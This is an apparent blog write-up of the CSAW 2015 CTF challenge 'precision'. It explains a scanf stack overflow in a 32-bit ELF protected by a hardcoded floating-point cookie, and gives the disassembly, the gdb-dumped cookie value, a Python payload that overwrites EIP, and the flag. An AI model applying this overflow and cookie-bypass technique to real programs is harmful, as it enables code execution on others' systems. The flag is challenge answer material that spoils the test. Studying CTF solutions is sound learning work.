Wednesday, September 23, 2015

CSAW CTF - Exploitables100 - precision

Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
.text:08048529                 fld     ds:floating_num
.text:0804852F                 fstp    [esp+0A0h+check]

.text:08048596                 fld     [esp+0A0h+check]
.text:0804859D                 fld     ds:floating_num
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short ret
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
So contruct a payload like below, to control EIP
payload  = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12 
payload += struct.pack("<I", EIP)
Flag is flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

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